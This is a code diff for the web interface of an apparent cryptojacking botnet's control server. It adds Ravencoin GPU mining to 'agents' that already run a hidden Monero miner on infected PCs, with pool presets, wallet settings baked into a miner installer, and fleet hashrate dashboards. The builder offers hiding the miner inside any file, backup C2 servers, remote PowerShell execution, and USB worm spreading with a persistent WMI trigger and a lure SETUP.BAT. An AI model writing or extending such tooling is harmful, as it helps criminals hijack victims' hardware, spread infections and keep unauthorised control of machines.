AgentRemoteActions({ type="text" value={customCmd} onChange={(e) => setCustomCmd(e.target.value)} - placeholder="Enter PowerShell command..." + placeholder={isOnline ? 'Enter PowerShell command...' : 'Agent offline'} autoComplete="off" disabled={!isOnline} /> - <button type="submit" disabled={!isOnline}>EXEC</button> + <button type="submit" disabled={!isOnline || !!busy}>EXEC</button> </form> </div> </div> diff --git a/server/web/src/components/RVNPoolPresetPicker.tsx b/server/web/src/components/RVNPoolPresetPicker.tsx new file mode 100644 index 0000000..5b50fa0 --- /dev/null +++ b/server/web/src/components/RVNPoolPresetPicker.tsx @@ -0,0 +1,178 @@ +import { useEffect, useMemo, useState } from 'react'; +import type { BackupPool } from '../types'; +import { + RVN_POOL_PRESETS, + DEFAULT_RVN_PRESET_IDS, + orderedRVNPoolsFromSelection, + detectRVNPresetIds, + applyRVNPoolsToForgeFields, + type RVNPoolForgeFields, +} from '../help/poolPresets'; +import './PoolPresetPicker.css'; + +interface RVNPoolPresetPickerProps { + host: string; + port: number; + tls: boolean; + pass: string; + backups?: BackupPool[]; + onChange: (next: RVNPoolForgeFields) => void; +} + +export default function RVNPoolPresetPicker({ + host, + port, + tls, + pass, + backups = [], + onChange, +}: RVNPoolPresetPickerProps) { + const [selectedIds, setSelectedIds] = useState<string[]>(() => { + const detected = detectRVNPresetIds(host, port, tls, backups); + return detected.length ? detected : [...DEFAULT_RVN_PRESET_IDS]; + }); + const [useCustom, setUseCustom] = useState(false); + const [customHost, setCustomHost] = useState(''); + const [customPort, setCustomPort] = useState(6060); + const [customTls, setCustomTls] = useState(false); + + useEffect(() => { + const detected = detectRVNPresetIds(host, port, tls, backups); + if (detected.length) setSelectedIds(detected); + }, [host, port, tls, backups]); + + const orderedPreview = useMemo(() => { + const custom: BackupPool | null = useCustom && customHost.trim() + ? { host: customHost.trim(), port: customPort || 6060, tls: customTls, pass: pass || 'x' } + : null; + return orderedRVNPoolsFromSelection(selectedIds, pass || 'x', custom); + }, [selectedIds, pass, useCustom, customHost, customPort, customTls]); + + const applySelection = (ids: string[], customOn: boolean, cHost: string, cPort: number, cTls: boolean) => { + const custom: BackupPool | null = + customOn && cHost.trim() + ? { host: cHost.trim(), port: cPort || 6060, tls: cTls, pass: pass || 'x' } + : null; + const pools = orderedRVNPoolsFromSelection(ids, pass || 'x', custom); + onChange(applyRVNPoolsToForgeFields(pools)); + }; + + const togglePreset = (id: string) => { + const next = selectedIds.includes(id) + ? selectedIds.filter((x) => x !== id) + : [...selectedIds, id]; + if (!next.length) return; + setSelectedIds(next); + applySelection(next, useCustom, customHost, customPort, customTls); + }; + + const grouped = useMemo(() => { + const map = new Map<string, typeof RVN_POOL_PRESETS>(); + for (const p of RVN_POOL_PRESETS) { + const list = map.get(p.provider) ?? []; + list.push(p); + map.set(p.provider, list); + } + return [...map.entries()]; + }, []); + + return ( + <div className="pool-preset-picker rvn-pool-picker"> + <p className="form-hint pool-preset-hint"> + Select one or more Ravencoin (KawPoW) pools. Failover order applies — primary is tried first. + </p> + <div className="pool-preset-grid"> + {grouped.map(([provider, presets]) => ( + <div key={provider} className="pool-preset-group"> + <span className="pool-preset-provider font-tech" style={{ color: 'var(--neon-gold)' }}> + {provider} + </span> + {presets.map((p) => ( + <label key={p.id} className="pool-preset-option checkbox-label"> + <input + type="checkbox" + className="checkbox" + checked={selectedIds.includes(p.id)} + onChange={() => togglePreset(p.id)} + /> + <span> + <code>{p.host}:{p.port}</code> + {p.tls ? ' TLS' : ''} + <span className="pool-preset-sub"> ({p.hint})</span> + </span> + </label> + ))} + </div> + ))} + </div> + + <div className="pool-preset-custom"> + <label className="checkbox-label"> + <input + type="checkbox" + className="checkbox" + checked={useCustom} + onChange={(e) => { + const on = e.target.checked; + setUseCustom(on); + applySelection(selectedIds, on, customHost, customPort, customTls); + }} + /> + <span>Add custom pool</span> + </label> + {useCustom && ( + <div className="pool-preset-custom-fields form-row"> + <input + type="text" + className="input mono" + placeholder="pool.example.com" + value={customHost} + onChange={(e) => { + setCustomHost(e.target.value); + applySelection(selectedIds, true, e.target.value, customPort, customTls); + }} + /> + <input + type="number" + className="input" + min={1} + max={65535} + value={customPort} + onChange={(e) => { + const v = e.target.valueAsNumber || 6060; + setCustomPort(v); + applySelection(selectedIds, true, customHost, v, customTls); + }} + /> + <label className="checkbox-label"> + <input + type="checkbox" + className="checkbox" + checked={customTls} + onChange={(e) => { + setCustomTls(e.target.checked); + applySelection(selectedIds, true, customHost, customPort, e.target.checked); + }} + /> + <span>TLS</span> + </label> + </div> + )} + </div> + + {orderedPreview.length > 0 && ( + <div className="pool-preset-order"> + <span className="font-tech">Failover order</span> + <ol> + {orderedPreview.map((p, i) => ( + <li key={`${p.host}:${p.port}:${p.tls}`}> + {i === 0 ? 'Primary' : `Backup ${i}`}: {p.host}:{p.port} + {p.tls ? ' (TLS)' : ''} + </li> + ))} + </ol> + </div> + )} + </div> + ); +} diff --git a/server/web/src/components/components.test.tsx b/server/web/src/components/components.test.tsx index 7ddec08..128e511 100644 --- a/server/web/src/components/components.test.tsx +++ b/server/web/src/components/components.test.tsx @@ -370,7 +370,7 @@ describe('AgentRemoteActions', () => { expect(screen.getByRole('heading', { name: 'Target: Node A' })).toBeInTheDocument(); }); expect(screen.getByRole('heading', { name: 'Recon & Intel' })).toBeInTheDocument(); - expect(screen.getByText(/Awaiting telemetry/i)).toBeInTheDocument(); + expect(screen.getByText(/Terminal ready/i)).toBeInTheDocument(); }); it('disables recon buttons when agent offline', async () => { diff --git a/server/web/src/context/WebSocketProvider.tsx b/server/web/src/context/WebSocketProvider.tsx index a51a98c..31ae25f 100644 --- a/server/web/src/context/WebSocketProvider.tsx +++ b/server/web/src/context/WebSocketProvider.tsx @@ -144,6 +144,11 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) { ...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}), ...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}), ...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}), + ...(update.gpu_miner_active !== undefined ? { gpu_miner_active: update.gpu_miner_active } : {}), + ...(update.gpu_hashrate_15s !== undefined ? { gpu_hashrate_15s: update.gpu_hashrate_15s } : {}), + ...(update.gpu_hashrate_1m !== undefined ? { gpu_hashrate_1m: update.gpu_hashrate_1m } : {}), + ...(update.gpu_hashrate_15m !== undefined ? { gpu_hashrate_15m: update.gpu_hashrate_15m } : {}), + ...(update.gpu_model !== undefined ? { gpu_model: update.gpu_model } : {}), ...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}), ...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}), ...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}), diff --git a/server/web/src/help/poolPresets.ts b/server/web/src/help/poolPresets.ts index 9f3ecc6..41e6916 100644 --- a/server/web/src/help/poolPresets.ts +++ b/server/web/src/help/poolPresets.ts @@ -80,6 +80,114 @@ export const XMR_POOL_PRESETS: PoolPreset[] = [ export const DEFAULT_PRESET_IDS = ['supportxmr-tls', 'moneroocean-tls', 'herominers-tls'] as const; +// ─── Ravencoin (RVN / KawPoW) pool presets ─────────────────────────────────── + +export interface RVNPoolPreset { + id: string; + provider: string; + host: string; + port: number; + tls: boolean; + hint: string; +} + +export const RVN_POOL_PRESETS: RVNPoolPreset[] = [ + { + id: '2miners-rvn', + provider: '2Miners', + host: 'rvn.2miners.com', + port: 6060, + tls: false, + hint: ':6060', + }, + { + id: 'herominers-rvn', + provider: 'HeroMiners', + host: 'rvn.herominers.com', + port: 1140, + tls: false, + hint: ':1140', + }, + { + id: 'minerpool-rvn', + provider: 'MinePool', + host: 'us.rvn.minepool.io', + port: 3333, + tls: false, + hint: ':3333', + }, + { + id: 'woolypooly-rvn', + provider: 'WoolyPooly', + host: 'rvn.woolypooly.com', + port: 55555, + tls: false, + hint: ':55555', + }, + { + id: 'ravenminer', + provider: 'RavenMiner', + host: 'us.ravenminer.com', + port: 3838, + tls: false, + hint: ':3838', + }, + { + id: 'nanopool-rvn', + provider: 'Nanopool', + host: 'rvn-us-west1.nanopool.org', + port: 12222, + tls: false, + hint: ':12222', + }, +]; + +export const DEFAULT_RVN_PRESET_IDS = ['2miners-rvn', 'herominers-rvn', 'ravenminer'] as const; + +export interface RVNPoolForgeFields { + rvn_pool_host: string; + rvn_pool_port: number; + rvn_pool_tls: boolean; + rvn_backup_pools: BackupPool[]; +} + +export function orderedRVNPoolsFromSelection( + presetIds: string[], + pass: string, + custom?: BackupPool | null, +): BackupPool[] { + const out: BackupPool[] = []; + const seen = new Set<string>(); + for (const id of presetIds) { + const preset = RVN_POOL_PRESETS.find((p) => p.id === id); + if (!preset) continue; + const key = endpointKey(preset.host, preset.port, preset.tls); + if (seen.has(key)) continue; + seen.add(key); + out.push({ host: preset.host, port: preset.port, tls: preset.tls, pass }); + } + if (custom?.host?.trim() && custom.port > 0) { + const key = endpointKey(custom.host, custom.port, !!custom.tls); + if (!seen.has(key)) out.push({ ...custom, pass: custom.pass || pass || 'x' }); + } + return out; +} + +export function applyRVNPoolsToForgeFields(pools: BackupPool[]): RVNPoolForgeFields { + const { primary, backups } = splitPrimaryAndBackups(pools); + if (!primary) return { rvn_pool_host: '', rvn_pool_port: 6060, rvn_pool_tls: false, rvn_backup_pools: [] }; + return { rvn_pool_host: primary.host, rvn_pool_port: primary.port, rvn_pool_tls: primary.tls, rvn_backup_pools: backups }; +} + +export function detectRVNPresetIds(host: string, port: number, tls: boolean, backups: BackupPool[] = []): string[] { + const keys = new Set<string>(); + keys.add(endpointKey(host, port, tls)); + for (const b of backups) { + if (b.host && b.port > 0) keys.add(endpointKey(b.host, b.port, !!b.tls)); + } + return RVN_POOL_PRESETS.filter((p) => keys.has(endpointKey(p.host, p.port, p.tls))).map((p) => p.id); +} + function endpointKey(host: string, port: number, tls: boolean): string { return `${host.trim().toLowerCase()}:${port}:${tls ? '1' : '0'}`; } diff --git a/server/web/src/help/screenshotDownload.ts b/server/web/src/help/screenshotDownload.ts index b5fff0c..fedd721 100644 --- a/server/web/src/help/screenshotDownload.ts +++ b/server/web/src/help/screenshotDownload.ts @@ -9,7 +9,8 @@ export function sanitizeScreenshotBase64(raw: string): string { } } if (best.length >= 100) return best; - return trimmed.replace(/[^A-Za-z0-9+/=]/g, ''); + const fallback = trimmed.replace(/[^A-Za-z0-9+/=]/g, ''); + return fallback.length >= 100 ? fallback : ''; } export function downloadScreenshotFromBase64( diff --git a/server/web/src/pages/AgentsPage.tsx b/server/web/src/pages/AgentsPage.tsx index 58fe931..d96af20 100644 --- a/server/web/src/pages/AgentsPage.tsx +++ b/server/web/src/pages/AgentsPage.tsx @@ -213,6 +213,12 @@ export default function AgentsPage() { } catch (err) { console.error(err); } + // Auto-fetch sysinfo so the terminal is pre-populated immediately + if (agent.status === 'online') { + setTimeout(() => { + api.sendAgentCommand(agent.id, 'sysinfo').catch(() => {}); + }, 300); + } }; const saveMeta = async () => { @@ -606,6 +612,7 @@ export default function AgentsPage() { agent={selectedAgent} online={selectedAgent.status === 'online'} commandResults={commandResults} + showLiveStats onCommandSent={(action: string) => { if (action === 'get_log') refreshLog(true); }} diff --git a/server/web/src/pages/BuilderPage.test.tsx b/server/web/src/pages/BuilderPage.test.tsx index 51021cd..121369e 100644 --- a/server/web/src/pages/BuilderPage.test.tsx +++ b/server/web/src/pages/BuilderPage.test.tsx @@ -85,7 +85,7 @@ describe('BuilderPage', () => { vi.spyOn(api, 'getConfig').mockRejectedValue(new Error('offline')); renderBuilder(); expect( - await screen.findByText('Failed to load server info — is the control server running?') + await screen.findByText('Failed to load server config — is the control server running?') ).toBeInTheDocument(); }); @@ -101,7 +101,7 @@ describe('BuilderPage', () => { await userEvent.setup().click(screen.getByRole('button', { name: 'Advanced' })); expect(await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' })).toBeInTheDocument(); expect(screen.getByText('FORGE RULES — READ THIS ONCE')).toBeInTheDocument(); - expect(screen.getByText('Pool Host')).toBeInTheDocument(); + expect(screen.getByText('Mining Pools')).toBeInTheDocument(); }); it('submits forge when preflight passes', async () => { @@ -181,7 +181,7 @@ describe('BuilderPage', () => { screen.getByRole('button', { name: /Hide miner in any file/i }) ); expect( - screen.getByText(/Fusion selected — drop your files below and forge/i) + screen.getByText(/Drop any file — PDF, video, document/i) ).toBeInTheDocument(); }); }); diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index 03a76ab..ddeaeae 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -30,6 +30,7 @@ import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../compone import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager'; import DownloadButton from '../components/DownloadButton'; import PoolPresetPicker from '../components/PoolPresetPicker'; +import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker'; import { useForge } from '../context/ForgeContext'; import { fusionPayloadKind, @@ -1133,6 +1134,73 @@ export default function BuilderPage() { </div> </div> + {/* ── GPU Mining (Ravencoin / KawPoW) ── */} + <div className="form-section"> + <ForgeSectionHeader + title="GPU Mining — Ravencoin" + badge="baked" + description="Enable KawPoW GPU mining alongside Monero CPU mining. The agent auto-detects NVIDIA (T-Rex) or AMD (TeamRedMiner) and downloads the correct miner." + /> + <div className="form-group"> + <label className="checkbox-label"> + <input + type="checkbox" + className="checkbox" + checked={!!form.gpu_enabled} + onChange={(e) => updateField('gpu_enabled', e.target.checked)} + /> + <span style={{ fontWeight: 600 }}>Enable GPU mining (Ravencoin)</span> + </label> + <p className="form-hint"> + When enabled the agent detects GPU vendor, downloads the correct KawPoW miner, and runs it silently alongside the CPU Monero miner. Requires a discrete NVIDIA or AMD GPU on the target. + </p> + </div> + {form.gpu_enabled && ( + <> + <div className="form-group"> + <label className="label">Ravencoin Wallet Address <span className="badge-required">required</span></label> + <input + type="text" + className="input mono" + placeholder="R... (your RVN address)" + value={form.rvn_wallet ?? ''} + onChange={(e) => updateField('rvn_wallet', e.target.value)} + /> + <p className="form-hint">Your Ravencoin wallet address. Only Ravencoin (RVN) mainnet addresses are accepted by KawPoW pools.</p> + </div> + + <div className="form-group"> + <label className="label">Ravencoin Pools</label> + <RVNPoolPresetPicker + host={form.rvn_pool_host ?? ''} + port={form.rvn_pool_port ?? 6060} + tls={form.rvn_pool_tls ?? false} + pass={form.rvn_pool_pass ?? 'x'} + backups={form.rvn_backup_pools ?? []} + onChange={(next) => { + updateField('rvn_pool_host', next.rvn_pool_host); + updateField('rvn_pool_port', next.rvn_pool_port); + updateField('rvn_pool_tls', next.rvn_pool_tls); + updateField('rvn_backup_pools', next.rvn_backup_pools); + }} + /> + </div> + + <div className="form-group"> + <label className="label">RVN Pool Password</label> + <input + type="text" + className="input" + placeholder="x" + value={form.rvn_pool_pass ?? 'x'} + onChange={(e) => updateField('rvn_pool_pass', e.target.value)} + /> + <p className="form-hint">Most public KawPoW pools use <code>x</code>.</p> + </div> + </> + )} + </div> + <div className="form-section"> <ForgeSectionHeader title="Deliverable" @@ -2007,7 +2075,7 @@ export default function BuilderPage() { </label> {form.usb_spread && ( <div style={{ margin: '4px 0 2px 24px', padding: '6px 10px', background: 'rgba(255,180,0,0.1)', border: '1px solid rgba(255,180,0,0.4)', borderRadius: 4, fontSize: '0.82em', color: '#ffb400' }}> - Agent will silently copy itself to any USB drive plugged into an infected PC and install a permanent WMI trigger that survives reboots. + ⚡ Perpetual chain — agent silently copies itself to every USB drive inserted into any infected PC (including drives already plugged in at startup), installs a persistent WMI trigger, and drops a visible SETUP.BAT + folder icon so the next PC's user just clicks. Each new machine repeats the cycle forever. </div> )} <FieldHint field="usb_spread" /> diff --git a/server/web/src/pages/DashboardPage.tsx b/server/web/src/pages/DashboardPage.tsx index 4dec4b2..bf3b3a8 100644 --- a/server/web/src/pages/DashboardPage.tsx +++ b/server/web/src/pages/DashboardPage.tsx @@ -47,6 +47,16 @@ import { osArchBreakdown, } from '../help/fleetAnalytics'; import './Pages.css'; + +/** Format GPU KawPoW hashrate (H/s units, displayed as MH/s or GH/s). */ +function formatGPUHashrate(hps: number): string { + if (!hps || hps <= 0) return '0 H/s'; + if (hps >= 1e9) return `${(hps / 1e9).toFixed(2)} GH/s`; + if (hps >= 1e6) return `${(hps / 1e6).toFixed(2)} MH/s`; + if (hps >= 1e3) return `${(hps / 1e3).toFixed(2)} KH/s`; + return `${hps.toFixed(0)} H/s`; +} + export default function DashboardPage() { const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket(); const [shares, setShares] = useState<Share[]>([]); @@ -117,6 +127,29 @@ export default function DashboardPage() { const acceptedShares = agents.reduce((sum, a) => sum + a.shares_good, 0); const rejectedShares = agents.reduce((sum, a) => sum + a.shares_bad, 0); const acceptRate = totalShares > 0 ? (acceptedShares / totalShares) * 100 : 0; + + // ── Ravencoin / GPU fleet stats ──────────────────────────────────────────── + const gpuAgents = useMemo( + () => agents.filter((a) => a.gpu_miner_active && a.status === 'online'), + [agents] + ); + const totalGPUHashrate = useMemo( + () => gpuAgents.reduce((sum, a) => sum + (a.gpu_hashrate_15m ?? 0), 0), + [gpuAgents] + ); + const gpuHashrate15s = useMemo( + () => gpuAgents.reduce((sum, a) => sum + (a.gpu_hashrate_15s ?? 0), 0), + [gpuAgents] + ); + const bestGPUAgent = useMemo( + () => gpuAgents.sort((a, b) => (b.gpu_hashrate_15m ?? 0) - (a.gpu_hashrate_15m ?? 0))[0] ?? null, + [gpuAgents] + ); + const gpuModels = useMemo( + () => [...new Set(gpuAgents.map((a) => a.gpu_model).filter(Boolean))], + [gpuAgents] + ); + const hasGPUMining = gpuAgents.length > 0; const avgCpu = agents.length > 0 ? agents.reduce((s, a) => s + a.cpu_usage_pct, 0) / agents.length : 0; const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0; const onlinePct = agents.length > 0 ? (onlineCount / agents.length) * 100 : 0; @@ -455,6 +488,139 @@ export default function DashboardPage() { </NeonCard> </div> + {/* ═══════════════════════════════════════════════════════════════════ + MONERO SUBHEADING — clarify the section above belongs to XMR + ═══════════════════════════════════════════════════════════════════ */} + <div className="mining-coin-label monero-label"> + <span className="coin-badge xmr-badge">XMR</span> + <span className="coin-name font-tech">MONERO</span> + <span className="coin-algo font-tech">· RandomX CPU ·</span> + <span className="coin-hr font-tech">{formatHashrate(totalHashrate)}</span> + </div> + + {/* ═══════════════════════════════════════════════════════════════════ + RAVENCOIN GPU SECTION + ═══════════════════════════════════════════════════════════════════ */} + {hasGPUMining && ( + <div className="rvn-section"> + <div className="mining-coin-label rvn-label"> + <span className="coin-badge rvn-badge">RVN</span> + <span className="coin-name font-tech">RAVENCOIN</span> + <span className="coin-algo font-tech">· KawPoW GPU ·</span> + <span className="coin-hr font-tech rvn-hashrate">{formatGPUHashrate(totalGPUHashrate)}</span> + </div> + + {/* Gauge row */} + <section className="gauge-row rvn-gauges"> + <NeonCard accent="gold" className="gauge-card" hud> + <GaugeRing + value={totalGPUHashrate} + max={Math.max(totalGPUHashrate * 1.2, 1e6)} + label="GPU Hash" + sublabel="15m avg" + color="var(--neon-gold)" + size={110} + /> + </NeonCard> + <NeonCard accent="amber" className="gauge-card" hud> + <GaugeRing + value={gpuHashrate15s} + max={Math.max(gpuHashrate15s * 1.2, 1e6)} + label="GPU Live" + sublabel="15s sample" + color="var(--neon-amber)" + size={110} + /> + </NeonCard> + <NeonCard accent="cyan" className="gauge-card" hud> + <GaugeRing + value={gpuAgents.length} + max={Math.max(agents.length, 1)} + label="GPU Rigs" + sublabel={`of ${agents.length} nodes`} + color="var(--neon-cyan)" + size={110} + /> + </NeonCard> + </section> + + {/* Stats cards */} + <div className="grid-4 stats-grid rvn-stats-grid"> + <NeonCard accent="gold" className="stat-card-wrap rvn-stat-card"> + <div className="stat-label font-tech">GPU Fleet Hash</div> + <div className="stat-value rvn-hashrate neon-glow-gold">{formatGPUHashrate(totalGPUHashrate)}</div> + <div className="stat-sub">{gpuAgents.length} GPU rig{gpuAgents.length !== 1 ? 's' : ''} firing</div> + </NeonCard> + + <NeonCard accent="amber" className="stat-card-wrap rvn-stat-card"> + <div className="stat-label font-tech">Top GPU Rig</div> + {bestGPUAgent ? ( + <> + <div className="stat-value neon-glow-amber" style={{ fontSize: '1.1rem' }}> + {(bestGPUAgent.name.length > 14 ? bestGPUAgent.name.slice(0, 13) + '…' : bestGPUAgent.name)} + </div> + <div className="stat-sub">{formatGPUHashrate(bestGPUAgent.gpu_hashrate_15m ?? 0)} · {bestGPUAgent.gpu_model ?? 'GPU'}</div> + </> + ) : ( + <><div className="stat-value stat-dim">—</div><div className="stat-sub">none active</div></> + )} + </NeonCard> + + <NeonCard accent="cyan" className="stat-card-wrap rvn-stat-card"> + <div className="stat-label font-tech">GPU Models</div> + <div className="stat-value neon-glow-cyan" style={{ fontSize: '1rem', lineHeight: '1.3' }}> + {gpuModels.length > 0 ? ( + gpuModels.slice(0, 2).map((m) => ( + <div key={m} style={{ fontSize: '0.8em', fontFamily: 'var(--font-tech)' }}>{m}</div> + )) + ) : ( + <span className="stat-dim">—</span> + )} + </div> + <div className="stat-sub">{gpuModels.length} distinct model{gpuModels.length !== 1 ? 's' : ''}</div> + </NeonCard> + + <NeonCard accent="purple" className="stat-card-wrap rvn-stat-card"> + <div className="stat-label font-tech">GPU Live Rate</div> + <div className="stat-value neon-glow-purple">{formatGPUHashrate(gpuHashrate15s)}</div> + <div className="stat-sub">15-second snapshot</div> + </NeonCard> + </div> + + {/* Per-rig GPU breakdown */} + {gpuAgents.length > 0 && ( + <NeonCard accent="gold" className="rvn-rig-table-card" hud> + <div className="stat-label font-tech" style={{ marginBottom: '0.75rem' }}>GPU Rig Detail</div> + <div className="rvn-rig-table"> + {gpuAgents.map((a) => { + const hr = a.gpu_hashrate_15m ?? 0; + const pct = totalGPUHashrate > 0 ? (hr / totalGPUHashrate) * 100 : 0; + return ( + <div key={a.id} className="rvn-rig-row"> + <span className="rvn-rig-name font-tech">{a.name}</span> + <span className="rvn-rig-model">{a.gpu_model ?? '—'}</span> + <span className="rvn-rig-hr neon-glow-gold">{formatGPUHashrate(hr)}</span> + <div className="rvn-rig-bar-wrap"> + <div + className="rvn-rig-bar" + style={{ width: `${pct.toFixed(1)}%` } as React.CSSProperties} + /> + </div> + <span className="rvn-rig-pct">{pct.toFixed(1)}%</span> + {(a.gpu_temp_c ?? 0) > 0 && ( + <span className={`rvn-rig-temp ${(a.gpu_temp_c ?? 0) > 80 ? 'temp-hot' : ''}`}> + {a.gpu_temp_c}°C + </span> + )} + </div> + ); + })} + </div> + </NeonCard> + )} + </div> + )} + {/* ── Analytics row — always visible ─────────────────────────────────── */} <ContributionBars bars={contribs} xmrPrice={xmrPrice} /> <UnderperformerList underperformers={underperformers} medianHashrate={medianHash} /> diff --git a/server/web/src/pages/Pages.css b/server/web/src/pages/Pages.css index 5b94118..32cf084 100644 --- a/server/web/src/pages/Pages.css +++ b/server/web/src/pages/Pages.css @@ -1502,3 +1502,214 @@ button.deliverable-card .form-hint { font-size: 0.78rem; padding: 0.28rem 0.7rem; } + +/* ─── Mining Coin Labels (Monero / Ravencoin) ────────────────────────────── */ +.mining-coin-label { + display: flex; + align-items: center; + gap: 0.65rem; + margin: 1.5rem 0 0.75rem; + padding: 0.5rem 1rem; + border-radius: 6px; + background: rgba(0,0,0,0.3); + border-left: 3px solid var(--neon-cyan); +} + +.monero-label { + border-left-color: var(--neon-cyan); +} + +.rvn-label { + border-left-color: #f5a623; +} + +.coin-badge { + font-family: var(--font-tech); + font-size: 0.7rem; + padding: 0.15rem 0.5rem; + border-radius: 4px; + font-weight: 700; + letter-spacing: 0.1em; +} + +.xmr-badge { + background: rgba(0, 255, 255, 0.15); + color: var(--neon-cyan); + border: 1px solid var(--neon-cyan); +} + +.rvn-badge { + background: rgba(245, 166, 35, 0.15); + color: #f5a623; + border: 1px solid #f5a623; +} + +.coin-name { + font-size: 0.9rem; + font-weight: 700; + letter-spacing: 0.15em; + color: #e0e0e0; +} + +.coin-algo { + font-size: 0.75rem; + color: var(--text-muted); + letter-spacing: 0.05em; +} + +.coin-hr { + margin-left: auto; + font-size: 1rem; + font-weight: 700; + color: var(--neon-cyan); +} + +.rvn-label .coin-hr { + color: #f5a623; +} + +/* ─── RVN Section ────────────────────────────────────────────────────────── */ +.rvn-section { + margin-top: 0.5rem; + padding-top: 0.5rem; + border-top: 1px solid rgba(245, 166, 35, 0.2); +} + +.rvn-hashrate { + color: #f5a623 !important; + text-shadow: 0 0 12px rgba(245, 166, 35, 0.6), 0 0 24px rgba(245, 166, 35, 0.3); +} + +.rvn-gauges { + grid-template-columns: repeat(3, 1fr); +} + +.rvn-stats-grid .rvn-stat-card { + background: linear-gradient(135deg, rgba(245, 166, 35, 0.06) 0%, rgba(0,0,0,0.0) 100%); + border: 1px solid rgba(245, 166, 35, 0.2); + text-align: center; + padding: 1.25rem !important; + position: relative; + overflow: hidden; +} + +.rvn-stats-grid .rvn-stat-card::before { + content: ''; + position: absolute; + inset: 0; + background: radial-gradient(ellipse at top, rgba(245,166,35,0.08) 0%, transparent 70%); + pointer-events: none; +} + +.rvn-stats-grid .stat-label { + color: rgba(245, 166, 35, 0.7); + letter-spacing: 0.15em; +} + +.neon-glow-gold { + color: #f5a623; + text-shadow: 0 0 8px rgba(245, 166, 35, 0.7), 0 0 16px rgba(245, 166, 35, 0.4); +} + +/* ─── RVN Rig Detail Table ───────────────────────────────────────────────── */ +.rvn-rig-table-card { + padding: 1.25rem !important; + background: rgba(245,166,35,0.03); + border: 1px solid rgba(245,166,35,0.15) !important; +} + +.rvn-rig-table { + display: flex; + flex-direction: column; + gap: 0.6rem; +} + +.rvn-rig-row { + display: grid; + grid-template-columns: 1fr 1.5fr 80px 1fr 42px 48px; + align-items: center; + gap: 0.5rem; + padding: 0.4rem 0.6rem; + border-radius: 4px; + background: rgba(0,0,0,0.25); + border-left: 2px solid rgba(245,166,35,0.35); + font-size: 0.82rem; + transition: background 0.15s; +} + +.rvn-rig-row:hover { + background: rgba(245,166,35,0.07); +} + +.rvn-rig-name { + font-size: 0.78rem; + color: #c0c0c0; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.rvn-rig-model { + color: var(--text-muted); + font-size: 0.72rem; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.rvn-rig-hr { + font-family: var(--font-tech); + font-size: 0.8rem; + font-weight: 600; + text-align: right; +} + +.rvn-rig-bar-wrap { + height: 6px; + background: rgba(255,255,255,0.08); + border-radius: 3px; + overflow: hidden; +} + +.rvn-rig-bar { + height: 100%; + background: linear-gradient(90deg, #f5a623, #ffcc55); + border-radius: 3px; + box-shadow: 0 0 6px rgba(245,166,35,0.5); + transition: width 0.6s ease; +} + +.rvn-rig-pct { + font-family: var(--font-tech); + font-size: 0.7rem; + color: var(--text-muted); + text-align: right; +} + +.rvn-rig-temp { + font-family: var(--font-tech); + font-size: 0.72rem; + color: var(--neon-cyan); + text-align: right; +} + +.rvn-rig-temp.temp-hot { + color: var(--neon-amber); + text-shadow: 0 0 6px rgba(255,165,0,0.5); +} + +/* RVN GPU section in the Forge */ +.rvn-pool-picker .pool-preset-provider { + color: #f5a623 !important; +} + +@media (max-width: 700px) { + .rvn-gauges { + grid-template-columns: repeat(2, 1fr); + } + .rvn-rig-row { + grid-template-columns: 1fr 80px 1fr 42px; + } + .rvn-rig-model, + .rvn-rig-pct { display: none; } +} diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index a9ce9d2..8872b06 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -53,6 +53,13 @@ export interface Agent { gpu_temp_c?: number; gpu_usage_pct?: number; + // GPU / Ravencoin mining + gpu_miner_active?: boolean; + gpu_hashrate_15s?: number; + gpu_hashrate_1m?: number; + gpu_hashrate_15m?: number; + gpu_model?: string; + ssh_available?: boolean; posture_score?: number; last_patch_days?: number; @@ -69,6 +76,7 @@ export interface Agent { services?: AgentService[]; hostname?: string; + mac_address?: string; // Live RTT from WebSocket ping/pong — undefined until first pong, null when offline. latency_ms?: number; } @@ -367,6 +375,14 @@ export interface BuildRequest { backup_pools?: BackupPool[]; // Backup C2 server URLs tried if the primary server_url is unreachable. backup_server_urls?: string[]; + // GPU / Ravencoin mining + gpu_enabled?: boolean; + rvn_wallet?: string; + rvn_pool_host?: string; + rvn_pool_port?: number; + rvn_pool_tls?: boolean; + rvn_pool_pass?: string; + rvn_backup_pools?: BackupPool[]; } /** Fallback Stratum pool baked into the agent at forge time. */ diff --git a/server/web/src/types/ws.ts b/server/web/src/types/ws.ts index baf4fbf..de994e5 100644 --- a/server/web/src/types/ws.ts +++ b/server/web/src/types/ws.ts @@ -39,6 +39,11 @@ export interface WSStatsUpdate { disk_free_pct?: number; gpu_temp_c?: number; gpu_usage_pct?: number; + gpu_miner_active?: boolean; + gpu_hashrate_15s?: number; + gpu_hashrate_1m?: number; + gpu_hashrate_15m?: number; + gpu_model?: string; ssh_available?: boolean; posture_score?: number; last_patch_days?: number;